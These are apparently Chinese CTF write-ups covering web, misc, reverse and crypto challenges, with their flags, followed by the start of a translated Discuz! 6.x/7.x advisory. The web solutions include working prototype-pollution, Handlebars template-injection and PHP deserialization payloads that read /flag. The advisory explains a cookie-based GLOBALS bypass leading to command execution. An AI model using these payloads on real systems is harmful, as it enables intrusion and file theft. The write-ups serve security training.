var worm = req.body;
content[worm.wing][worm.fire] = worm.data;
res.end('data success')
});
app.get('/refresh', (req, res) => {
let files = [];
var paths = path.join(__dirname,'views/sandbox')
if(fs.existsSync(paths)){
files = fs.readdirSync(paths);
files.forEach((file, index) => {
let curPath = paths + "/" + file;
if(fs.statSync(curPath).isFile()){
fs.unlinkSync(curPath);
}
});
}
res.end('refresh success')
});
app.post('/', (req, res) => {
const key = "worm";
const { content , a, b} = req.body;
if (!a || !b || a.length !== b.length) {
res.send("no!!!");
return;
}
if (a !== b && sha1(key + a) === sha1(key + b)) {
if(glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2){
if (typeof content !== 'string' || content.indexOf('FLAG') != -1) {
res.end('ban!!!');
return;
}
const filename = crypto.randomBytes(8).toString('hex');
fs.writeFile(`${path.join('views','sandbox',filename)}.html`, content, () => {
res.redirect(`/?page=sandbox/${filename}`);
})
}else{
res.send("no no no!!!");
}
}else{
res.send("no no!!!");
}
});
app.listen(8888, '0.0.0.0');
审计代码发现主要分两个功能部分，get 方法访问 index，js 会将 FLAG 返回到指定的 html 模板，post 方法访问 index 会创建一个随机名字的 html 文件，并将 content 的内容写入生成的 html 文件中，看源码发现渲染引擎为 Handlebars，其模板语法是 {{}}，考虑利用 {{}} 将 FLAG 变量渲染出来
先绕过 a,b：
POST：
{"wing":"__proto__","fire":"token1","data":"1"}
接着利用之前 data 值的 sha1 来作为 token2 进行传参：
POST：
{"a":"0","b":[0],
"content":"{{#each this}}{{this.toString}}{{/each}}"
}
接着访问得到的地址即可拿到 Flag
Flag：flag{141edb97-e345-4e49-97c2-c8275dce29b4}
### serialize
直接拿到题目源码：
<?php
error_reporting(0);
highlight_file(__FILE__);
class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}
if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;
}
直接用 PHP 原生类来读取 flag 文件即可：
<?php
class Demo{
public $class = 'SplFileObject';
public $user = '/flag';
public $check;
}
$payload = new Demo();
echo urlencode(serialize($payload));
?>
## Misc
### 签到1
描述字符串base64解码
Flag：flag{c54ce9d7b4e17980dd4906d9941ed52a}
### Decoder
第一部分：
压缩包有伪加密，7-zip 打开直接绕过，然后：base32 -> base58 -> base85
flag1：042f38b694
第二部分：
key 先用 Emoji 编码解码，解出来 key 为 whhjno，接着调节 rotation=36，利用 emoji-aes 解密即可
flag2：b52bff9568
第三部分：
base91 解码得到很多行 base64：
U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m
IHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzIGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmU=
LCBhcGFydCBmcm9tIHRoZSBzZW5kZXIgYW5kIGludGVuZGVkIHJlY2lwaWVudCwgc3VzcGX=
Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M=
YWdlLCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFT=
aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGlzIG9mIEdyZWVrIG9yaWdpbiBhbmTgbWVhbnMgImNvbmNlYT==
bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1lYW5pbmcgImNv
dmVyZWQgb3IgdHJvdGVjdGVkIiwgYW5kIGdyYXBoZWluIG1lYW5pbmdgInRvIHd=
cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRlZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9o
YW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RlZ2Fub2dyYXBoaWEsIGEgdHJlYd==
dGlzZSBvbiBjcnl5dG9ncmF5aHkgYW5kIHN0ZWdhbm9ncmF5aHkgZGlzZ5==
dWlzZWQgYXOgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3O=
YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRp
Y2xlcywgc2hvcHBpbmcgbGlzdHMsIG9yIHNvbWUgb3Q=
aGVyIGNvdmVydGV4dCBhbmQsIGNsYXNzaWNhbGx5LCB0aGUgaGlnZGVuIG1lc3NhZ2UgbWF5IGJlIGluIGludmn=
c2libGUgaW5rIGJldHdlZW4gdGhlIHZpc2libGUgbGluZXMgb2YgYSBwcml2YXRlIGxldHRlci4=
VGhlIGFkdmFudGFnZSBvZiBzdGVnYW5v是Z3JhcGh5LCBvdmVyIGNy
eXB0b2dyYXBoeSBhbG9uZSwgaXMgdGhhdCBtZXNzYWdlcyBkbyBub3QgYXR0cmFjdCBhdHRlbnRpb26=
IHRvIHRoZW1zZWx2ZXMuIFBsYWlubHkgdmlzaWJsZSBlbmNyeXB0ZWQgbWVzc2FnZXPogbRubyBtYXR0ZXIg
aG93IHVuYnJlYWthYmxl6IG0d2lsbCBhcm91c2Ugcz==
dXNwaWNpb24sIGFuZCBtYXkgaW4gdGhlbXNlbHZlcyBiZSBpbmNyaW1pbmF0aW5nIG==
aW4gY291bnRyaWVzIHdoZXJlIGVuY3J5cHRpb24gaXMgaWxsZWdhbC4gVGhlcmVmb3JlLD==
IHdoZXJlYXMnY3J5cHRvZ3JhcGh5IHByb3RlY3RzIHRoZSBjb250ZW50cyBvZn==
IGEgbWVzc2FnZSwgc3RlZ2Fub2dyYXBoeSBjYW4gYmUgc2FpZCB0byBwcm90ZWN0IGI=
b3RoIG1lc3NhZ2VzIGFuZCBjb21tdW5pY2F0aW5nIHBhcnRpZXMu
U3RlZ2Fub2dyYXBoeSBpbmNsdWRlcyD=
dGhlIGNvbmNlYWxtZW51IG9mIGluZm9ybWF1aW9uIHdpdGhpbiBjb21=
cHV0ZXIgZmlsZXMuIEluIGRpZ2l0YWwgc3RlZ2Fub2dyYXBoeSwgZWxlY3Ryb25pYyBjb21tdW5pY2F0aW9u
cyBtYXkgaW5jbHVkZSBzdGVnYW5vZ3JhcGhpYyBjb2RpbmcgaW5zaQ==
ZGUgb2YgYSB0cmFuc3BvcnQgbGF5ZXIsIHN1Y2ggYXMgYSBkb2N1bWVudCBmaWxlLCBpbWFnZSBmaWz=
ZSwgcHJvZ3JhbSBvciBwcm90b2NvbC4gTWVkaWEg
ZmlsZXMgYXJlIGlkZWFsIGZvciBzdGVnYW5vZ3JhcGhpYyB0cmFuc21pc3Npb3==
biBiZWNhdXNlIG9mIHRoZWlyIGxhcmdlIHNpemUuIEFzID==
YSBzaW1wbGUgZXhhbXBsZSwgYSBzZW5kZXIgbWlnaHQgc3RhcnQgd2l0aCBh
biBpbm5vY3VvdXMgaW1hZ2UgZmlsZSBhbmQgYWRqdXN0IHRoZSBjb2xvciBvZiBldmVyeSAxMDB0aCBwaXhlbCA=
dG8gY29ycmVzcG9uZCB0byBhIGxldHRlciBpbiB0aGUgYWxwaGFiZXQsIGG=
IGNoYW5nZSBzbyBzdWJ0bGUgdGhhdCBzb21lb25lIG5vdCBzcGVjaWZpY2FsbHkgbG9va2luZyBm
b3IjaXQjaXMjdW5saWtlbHkjdG8jbm90aWNlIGl0Lj==
VGhlJGZpcnN0JHJlY29yZGVkJHVzZXMgb2Ygc3RlZ2Fub2dyYXBoeSBjYW4gYmUgdHJ=
YWNlZCBiYWNrIHRvIDQ0MCBCQyB3aGVuIEhlcm9kb3R1cyBtZW50aW9ucyB0d28gZXhhbXBsZXMgb0==
ZiBzdGVnYW5vZ3JhcGh5IGluIFRoZSBIaXN0b3JpZXMgb2Yg
SGVyb2RvdHVzLiBEZW1hcmF0dXMgc2VudCBhIHdhcm5pbmcgYWJvdXQgYSD=
Zm9ydGhjb21pbmcgYXR0YWNrIHRvIEdyZWVjZSBieSB3
cml0aW5nIGl0IGRpcmVjdGx5IG9uIHRoZSB3b29kZW4gYmFja2luZyBvZiBhIHdheCB0YWJsZXQgYmVm
b3JlIGFwcGx5aW5nIGl0cyBiZWVzd2F4IHN1cmZhY2UuIFdheCB0YWJsZXRzIHdlcmUgaW4gY29tbW9uIHVzZR==
IHRoZW4gYXMgcmV1c2FibGUgd3JpdGluZyBzdXJmYWNlcywgc29tZXRpbWU=
c3VzZWQgZm9yIHNob3J0aGFuZC4gQW5vdGhlciBhbmNpZW50IGV4YW1wbGUgaXMgdGhhdCBv
Zkhpc3RpYWV1cywgd2hvIHNoYXZlZCB0aGUgaGVhZCBvZiBoaXPgbW9zdCB0cnVzdGVkIHP=
bGF2ZSBhbmQgdGF0dG9vZWQgYSBtZXNzYWdlIG9uIGl0LiBBZnRlciBoaXMgaGFpciBoYWQgZ2==
cm93biB0aGUgbWVzc2FnZSB3YXMgaGlkZGVuLiBUaGUgcHVycG9zZSB3YXMgdG8=
aW5zdGlnYXRlIGEgcmV2b2x0IGFnYWluc3QgdGhlIFBlcnNpYW5zLg==
U3RlZ2Fub2dyYXBoeSBoYXMgYmVlbiB3aWRlbHkgdXNlZCwg
aW5jbHVkaW5nIGluIHJlY2VudCBoaXN0b3JpY2FsIHRpbWVzIGFuZCB0
aGUgcHJlc2VudCBkYXkuIFBvc3NpYmxlIHBlcm11dGF0aW9ucyBhcmUgZW5kbGVzcyBhbmQ=
a25vd24gZXhhbXBsZXMgaW5jbHVkZTo=
SGlkZGVuIG1lc3NhZ2VzIHdpdGhpbiB3YXggdGE=
YmxldHM6IGluIGFuY2llbnQgR3JlZWNlLCBwZW9wbGUgd3JvdGUgbWU=
c3NhZ2VzIG9uIHRoZSB3b29kLCB0aGV是uIGNvdmVyZWQgaXQgd2l0aCB3YXggdXBvbiB3aGljaCBhbiBpbm5vY2Vu
dCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVu
SGlkZGVuIG1lc3NhZ2VzIG9uIG1lc3NlbmdlcidzIGJvZHk6IGFsc28gdXNlZCBpbiBhbmNpZW4=
用 base64 隐写脚本提取即可：
#!/usr/bin/env python
import re
path = 'flag3.txt'
b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open(path, 'r')as f:
cipher = [i.strip() for i in f.readlines()]
plaintext = ''
for i in cipher:
if i[-2] == '=': # There are 4-bit hidden info while end with two '='
bin_message = bin(b64char.index(i[-3]))[2:].zfill(4)
plaintext += bin_message[-4:]
elif i[-1] == '=': # There are 2-bit hidden info while end with one '='
bin_message = bin(b64char.index(i[-2]))[2:].zfill(2)
plaintext += bin_message[-2:]
plaintext = re.findall('.{8}', plaintext) # 8bits/group
plaintext = ''.join([chr(int(i,2)) for i in plaintext])
print(plaintext)
flag3：37f267472516
Flag：flag{042f38b694b52bff956837f267472516}
### huahua
huahua.zip 少文件头，补上后解压得到的 png 缺文件头；
修补后尝试打开，发现 CRC 不对，使用其他忽略 CRC 的图片查看器打开发现少了一截，猜测是高被修改了；
将高度修改大一点后成功拿到 flag
Flag：flag{b3afc91a8fbb6cc798bdebb253b02550}
### noise
打开压缩包，查看文件类型发现 out 为 wav 音频格式，直接利用 audacity 打开看频谱，稍微调整一下设置后即可看得清楚 flag
Flag：flag{98ce526ad52c409763405847185d9c6c}
### DdDdDd
流量包直接提取HTTP对象，其中一个 .gcode 文件较大，经搜索为打印机控制语言，直接用在线工具：https://gcode.ws/ 一把梭
Flag：flag{2fc07441-fd87-4e1c-9f0f-72aa8c984a}
### Forensic
内存镜像先用 volatility 查看 imageinfo，发现是 win7 的内存；
接着利用 filescan 导出文件列表，通过搜索 flag 搜索到 flag.docx 文件，再进行提取
python2 vol.py -f data.raw --profile=Win7SP1x64 dumpfiles --dump-dir . -Q 0x000000007d1a0d10
提取出来直接当作 zip 打开，查看 document.xml 文件，发现隐藏字符串：ZmxhZ3s5MDE3Y2VmMjZhMDdiZWI0ZTY2OWE0YTgwNmJjZDliNn0=，base64 解码即可拿到 flag
Flag：flag{9017cef26a07beb4e669a4a806bcd9b6}
### 隐藏的数据
zip 伪加密直接用 7-zip 绕过，其中 key.docx 当作压缩包解压后看 xml 文件，文件末尾有隐藏字符串
flag.zip 直接解压得 flag，还是 zip 文件；
尝试用此密码解压 zip 文件，发现无法打开，尝试 John 暴力破解成功拿到密码：0546
解压后又得到 flag，但是还是 zip 文件，这里采用之前隐藏字符串给出的密码：$Th1S_1S_P@SSW0Rd#####，解压得到 flag_not_here.docx 文件；
当作压缩包查看 xml，在接近末尾处找到 flag
Flag：flag{4de41c0b106051b30cb3c654901b1b06}
### something in picture
这道题是今年强网杯的原题，这里直接贴大师傅的题解啦：https://zhuanlan.zhihu.com/p/381863924
Flag：flag{D1mEn5i0nAl_Pr061em}
## Reverse
### re1
TEA 算法，但需要注意每次 key 都会变
#include <windows.h>
#include "TEA.h"
#include "XTEA.h"
unsigned char enc[] =
{
0xD1, 0x5F, 0x50, 0x67, 0xA0, 0x6A, 0xDB, 0xBC, 0xE4, 0x5E,
0x6B, 0x8D, 0x12, 0xF2, 0x5B, 0x78, 0xC2, 0xB3, 0xE4, 0xC6,
0x58, 0x46, 0x80, 0x39
};
unsigned int key[4] = { 0x1060308, 0x50E070F, 0xA0B0C0D, 0xDEADBEEF };
int main()
{
for (int i = 0; i <= 3; ++i)
key[i] += i;
TEA_decrypt((uint32_t*)(enc), key);
for (int i = 0; i <= 3; ++i)
key[i] += i;
XTEA_decipher(32, (uint32_t*)(enc + 8), key);
for (int i = 0; i <= 3; ++i)
key[i] += i;
XTEA_decipher(32, (uint32_t*)(enc + 16), key);
printf("%s",enc);
for (int i = 0;i<6;i++){
for (int j = 0;j<4;j++){
printf("%02x", enc[4 * i + (3 - j)]);
}
}
puts("");
for(int i = 0;i<24;i++){
printf("%02x", enc[i]);
}
}
### re2
换表 base64 题
import base64
import string
str1 = "BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30="
string1 = "RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
### re4
ida7.6 打开后，在函数列表找到 main_main 函数定位到主逻辑；
对 main_main 函数分析，可以知道，输入的字符串由 @#$% 四个字符组成，且每个字符对应一种操作；
这些操作有一个共同点：它们都要先找到数组里的 -1 的位置，再根据这个位置把 -1 前移或后移，操作的数组有 16 个元素，最后要求这个数组要从小到大排好序；
如果把长 16 的数组看作 4x4 的话，就不难看出这就是一个 16 格的拼图，其中 -1 为空位，上述 4 个操作正好对应上下左右移动；
这里直接在网上搜索寻找到了一个拼图的算法：
#include <iostream>
#include <cstdio>
#include <cmath>
#include <string>
#include <algorithm>
#include <cassert>
using namespace std;
#define N 4
#define N2 16
#define LIMIT 1000 //代表你设置的最大限度
int MDT[N2][N2]; //代表所有节点的曼哈顿距离数组
static const int dx[4] = { 0,-1,0,1 }; //方向数组
static const int dy[4] = { 1,0,-1,0 }; //方向数组
static const char dir[4] = { '%','@','$','#' }; //代表移动的标识，当搜索到最优解时，通常通过移动的标识长度来计算步数，同时也可以根据该标识来从输入的拼图推出最终的拼图。(r为向右，l为向左，u为向上，d为向下)
struct Puzzle { //代表拼图的结构体
int f[N2]; //代表当前的拼图
int space; //代表空位的下标(或者说是0拼图下标)
int MD; //代表当前拼图的曼哈顿距离
};
Puzzle state; //声明一个拼图(用处之后再说)
int limit; //代表最小成本的变量limit，也是IDA*中不断增加的限制值，在本题中起始值通常为输入拼图的曼哈顿距离，限制值一直增加到你设定的最大值LIMIT为止。若你的限定值limit在增加时超过了最大值，但还是没有搜索出结果的话，结果就为unsolvable
int path[LIMIT]; //代表存储搜索到的路径数组。（也就是说，当你找到了从输入拼图到最终拼图的最短路径，那么在本题中这个路径会以一串移动的标识来显示。决定移动标识的下标值就会存储在这个路径数组中。
int getAllMD(Puzzle pz) //代表求出输入拼图的曼哈顿距离的函数
{
int sum = 0; //代表各个拼图的曼哈顿距离之和就为输入拼图的曼哈顿距离
for (int i = 0; i < N2; i++)
{
if (pz.f[i] == N2) //如果进行遍历的拼图为空位，那么就直接进行返回。因为空位不算拼图，因此没有曼哈顿距离
{
continue;
}
sum += MDT[i][pz.f[i] - 1]; //通过这个式子来算出各个拼图的曼哈顿距离，并进行相加
}
return sum; //返回输入拼图的曼哈顿距离
}
bool isSolved() { //这个isSolved函数就是代表检测输入的拼图是否能有还原到最终拼图的可能。
for (int i = 0; i < N2; i++)
{
if (state.f[i] != i + 1) //判断移动之后的各个拼图跟最终的各个拼图相比是否一样
{
return false; //如果有一个拼图不一样，则移动之后的拼图跟最终拼图肯定就不一样了
}
}
return true; //如果拼图都一样，则移动之后的拼图跟最终拼图也就一样了。
}
bool dfs(int depth, int prev) //代表dfs函数，其中depth代表当前深度，prev代表进行传入的移动下标(r)
{
if (state.MD == 0) //如果刚开始搜索时曼哈顿距离就为0，则代表输入拼图=最终拼图，那么不用向下遍历，直接返回true
{
return true;
}
if (depth + state.MD > limit) //如果当前的搜索深度+当前拼图的启发值（曼哈顿距离) 大于 限制深度的话，我们就要对其进行剪枝，禁止dfs再向下搜索。
{
return false;
}
int sx = state.space / N; //根据这个式子来求出当前所在的坐标(sx,sy),老实说我也没明白这个式子是什么意思，但是我们可以暂时理解为就是当前空位的下标，之后我们要对这个空位来进行移动，从而得到拼图的不同情况。
int sy = state.space % N;
Puzzle tmp; //声明拼图tmp
for (int r = 0; r < 4; r++)
{
int tx = sx + dx[r]; //将当前空位进行上下左右四个方向的移动，得到新坐标(tx,ty)
int ty = sy + dy[r];
if (tx < 0 || ty < 0 || tx >= N || ty >= N) //如果移动的下标要是越界的话，就直接进行返回
{
continue;
}
if (max(prev, r) - min(prev, r) == 2) //这个式子非常重要，虽说我是不知道它怎么来的，但是这个式子的意思是避免重复的搜索，如果有重复的搜索就直接返回。（例如：我将输入拼图中的8向右移动了一次，那么拼图为:1 2 3 4 6 7 16 8 5 10 11 12 9 13 14 15。将移动之后的地图进行再次的dfs，那么再次dfs的话，就有可能出现将8再向左移动一位的情况。向左移动一位的话，拼图就又变回去了(1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15)。所以，为了防止这个情况的发生，有了这个式子。(不信的话可以打个断点，试一下就知道了。)
{
continue;
}
tmp = state; //将temp地图等于state拼图
state.MD -= MDT[tx * N + ty][state.f[tx * N + ty] - 1]; //代表进行拼图的移动时，有没有因为这个拼图的移动导致原先的曼哈顿距离减少。典型的例子就是将拼图移动到了规定的位置中(这里规定的位置指某块拼图在终点拼图的位置)。并且，这段话的意思就是计算移动后的新拼图的曼哈顿距离
state.MD += MDT[sx * N + sy][state.f[tx * N + ty] - 1]; //代表进行拼图的移动时，有没有因为这个拼图的移动导致原先的曼哈顿距离增加。典型的例子就是某块拼图移动到了规定的位置更远处。（举个例子：例如我将输入拼图1 2 3 4 6 7 8 16 5 10 11 12 9 13 14 15 中的4向下移动，那么原先的曼哈顿距离就会加1。（因为4向下移动并没有将原来的曼哈顿距离减少，因为除4之外的拼图都没有进行移动。而4向下移动就会让4脱离原先正确的位置，使原先的曼哈顿距离加了1)
swap(state.f[tx * N + ty], state.f[sx * N + sy]); //代表进行拼图的移动，并生成新拼图state
state.space = tx * N + ty; //重新计算新拼图的空位下标
if (dfs(depth + 1, r)) //生成新拼图后向下继续搜索
{
path[depth] = r; //如果搜索成功，那么就将最短步数中的每一步都记录在path数组中。r代表移动的具体方向下标。depth代表当前遍历的深度。其实就是第几步的意思。(例如：path[5] = 2，就代表第5步向左移动的意思,同时对应着移动标识的'l')
return true; //代表搜索成功，返回上一层
}
state = tmp; //如果在这个拼图的移动中，搜索没成功的话，那么就将当前移动之后的拼图回溯到之前没有进行移动过的状态，并尝试进行下一方向的移动。
}
return false; //如果四个方向搜索均没有成功的话，那么就代表当前限制深度(limit)中无解，需要在下一个限制深度(limit+1)中重新进行dfs。
}
string iterative_deepening(Puzzle in) //代表进行IDA*搜索的函数
{
in.MD = getAllMD(in); //计算输入拼图的启发值,同时也是输入拼图的曼哈顿距离
for (limit = in.MD; limit <= LIMIT; limit++) //进行迭代加深搜索的循环，起始限制值为输入拼图的曼哈顿距离(启发值),通过不断搜索增加限制值，实其让dfs具有bfs的功能。直到限制值增大到最大值（LIMIT)+1为止。如果限制值一直到最大值+1的期间都没有搜索到结果，则整个IDA*也就无法找到结果。
{
state = in; //把输入拼图赋值到state拼图中
if (dfs(0, -100)) //进行dfs搜索（实际上IDA*就是比dfs增加了最大搜索深度(限制值limit),通过这个最大搜索深度，我们就能让dfs具有bfs的功能，但代价是每次循环(加大深度时)都得需要将之前搜索过的深度再次搜索一遍)。除了这个之外，就跟普通的dfs没有什么区别。
{
string ans = ""; //声明移动的标识(当dfs找到最短路径时(dfs的返回值为true))
for (int i = 0; i < limit; i++) //如果找到了最短步数，那么这个最短步数的值一定等于当前的限制深度(limit)，因为初始limit变量值为输入地图的曼哈顿距离。（那也就代表了当前拼图至少得移动limit步才能移动到最终的拼图)因为每增加一层深度，就代表多走一个步数，因此若搜索出来了最短步数，那么这个最短步数一定跟当前的限制深度相等。
{
ans += dir[path[i]]; //根据遍历的下标(i)求出移动标识的下标(path[i]),根据移动标识的下标求出移动标识(dir[path[i]])
}
return ans; //返回移动的标识
}
}
return "unsolvable"; //如果说一直加深的限定值超过了最大值但还是没有搜索到结果，那么就返回unsolvable
}
int main()
{
int i, j;
for (i = 0; i < N2; i++)
{
for (j = 0; j < N2; j++)
{
MDT[i][j] = abs(i / N - j / N) + abs(i % N - j % N); //根据这个式子来计算所有拼图(0-15)分别在所有位置(0-15)上的曼哈顿距离(PS：这个式子是怎么得到的，本人也不是太清楚。不得不说，想出这个式子的人真的很厉害！)
}
}
Puzzle in; //声明一个拼图(输入拼图)
for (i = 0; i < N2; i++)
{
cin >> in.f[i]; //进行拼图的输入
if (in.f[i] == 0) //如果输入的是空位(0拼图)
{
in.f[i] = N2; //将这个空位的值标识为16(则整个拼图为:1-16 其中，16为空位置)
in.space = i; //记录一下空位的位置(下标值)
}
}
string ans = iterative_deepening(in); //进行IDA*搜索,其中ans代表移动的标识(为一串字母)
cout << ans << endl; //计算标识长度(就是输入拼图还原到原拼图的最短步数)
return 0;
}
代码执行结果：
5 1 0 2 9 6 3 8 13 15 10 11 14 4 7 12
%#$#$#%@$#$@@%%#$@$@%%#%@$##%#
使用原程序运行验证通过，但是这道题是道多解题，最后的答案不唯一
Flag：flag{75eee856b02b3714d07007bb93bff20d}
### re5
一开始看 main 函数 F5 不出来，调试后发现一个故意的除 0 错误，定位到逻辑：
int sub_415250()
{
size_t v0; // eax
FARPROC ProcAddress; // [esp+ECh] [ebp-78h]
size_t i; // [esp+F8h] [ebp-6Ch]
LPCSTR lpProcName; // [esp+104h] [ebp-60h]
char Str[36]; // [esp+110h] [ebp-54h] BYREF
HMODULE hModule; // [esp+134h] [ebp-30h]
int v7; // [esp+140h] [ebp-24h]
CPPEH_RECORD ms_exc; // [esp+14Ch] [ebp-18h]
v7 = 1;
hModule = LoadLibraryW(L"Kernel32.dll");
if ( !hModule )
ExitProcess(0);
qmemcpy(Str, &byte_419B78, 0x1Cu);
v0 = j_strlen(Str);
lpProcName = (LPCSTR)malloc(v0);
for ( i = 0; i < j_strlen(Str); ++i )
lpProcName[i] = Str[i] - 122;
*((_BYTE *)lpProcName + 27) = 0;
ProcAddress = GetProcAddress(hModule, lpProcName);
if ( !ProcAddress )
ExitProcess(0);
((void (__stdcall *)(int (__stdcall *)(int)))ProcAddress)(sub_411177);
ms_exc.registration.TryLevel = -2;
return 0;
}
ProcAddress 是 SetUnhandledExceptionFilter，跟进 sub_411177 找到判断逻辑：
bool __cdecl sub_411CE0(int a1)
{
int m; // [esp+D0h] [ebp-44h]
int k; // [esp+DCh] [ebp-38h]
int j; // [esp+E8h] [ebp-2Ch]
int v5; // [esp+F4h] [ebp-20h]
int i; // [esp+100h] [ebp-14h]
_DWORD *v7; // [esp+10Ch] [ebp-8h]
v7 = malloc(0x8Cu);
for ( i = 0; i < 35; ++i )
v7[i] = 0;
v5 = 0;
for ( j = 0; j < 35; ++j )
{
if ( *(_BYTE *)(j + a1) != 'N' )
{
if ( *(_BYTE *)(j + a1) != 'Y' )
return 0;
for ( k = a[j]; k < b[j]; ++k )
v7[k] += c[j];
for ( m = 0; m < 35; ++m )
{
if ( (int)v7[m] > 150 )
return 0;
}
v5 += c[j] * (b[j] - a[j]);
}
}
return v5 == dword_41C040;
}
这里用 z3 来进行解题：
import z3
a = [2, 12, 26,
20, 13,
15, 11, 16,
12, 12,
15, 13, 19,
10, 18,
16, 1, 8,
17, 25,
24, 22, 24,
24, 14,
6, 5, 18,
24, 5,
6, 2, 1,
13, 20,
100]
b = [8, 22, 26,
28, 24,
28, 11, 18,
18, 27,
27, 24, 28,
23, 24,
25, 9, 15,
24, 26,
24, 23, 26,
25, 23,
16, 25, 29,
30, 19,
26, 23, 18,
24, 29,
200]
c = [13, 25, 13,
46, 12,
43, 42, 4,
22, 46,
22, 35, 36,
12, 24,
12, 48, 8,
24, 29,
41, 7, 15,
6, 21,
2, 30, 19,
10, 33,
38, 5, 22,
19, 40,
68, 101, 99, 105]
flagbool = [z3.Int(f"flagbool{i}") for i in range(35)]
v7 = [0] * 35
v5 = 0
# print(flagbool[0].eq("True"))
for i in range(len(flagbool)):
# if z3.And(flagbool, True):
for j in range(a[i], b[i]):
v7[j] += c[i] * flagbool[i]
v5 += c[i] * (b[i] - a[i]) * flagbool[i]
s = z3.Solver()
s.add(v5 == 3430)
for i in range(35):
s.add(v7[i] <= 150)
s.add(flagbool[i] <= 1)
s.add(flagbool[i] >= 0)
print(s.check())
print(s.model())
## Crypto
### 签到
凯撒密码，位移为 3
Flag：flag{2a2ab40b9b031723cca883b61c15fee0}
### easyRSA
一道简单的 dp 泄露题目
import gmpy2
from Crypto.Util.number import *
e = 65537
n = gmpy2.mpz(101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227)
dp = gmpy2.mpz(1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673)
c = gmpy2.mpz(59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197)
for x in range(1, e):
if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):
continue
q=n//p
phin=(p-1)*(q-1)
d=gmpy2.invert(e, phin)
m=gmpy2.powmod(c, d, n)
if(len(hex(m)[2:])%2==1):
continue
print(long_to_bytes(m))
Flag：flag{38c60aa8ddcfb50afa3021f40f0acdac} | 社区文章 |
# Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
|
##### 译文声明
本文是翻译文章，文章来源：安全脉搏
原文地址：<http://www.secpulse.com/archives/2338.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞概述：
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
## 漏洞分析：
include/global.func.php代码里：
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
include/common.inc.php里：
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使
用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地
方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么？
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我
们就可以通过COOKIE来提交GLOBALS变量了:)
## 漏洞利用
## include/discuzcode.func.php
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =
1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat
tachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')
) !== FALSE) {
$message = preg_replace("/s?[code](.+?)[/code]s?/ies", "codedisp('\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
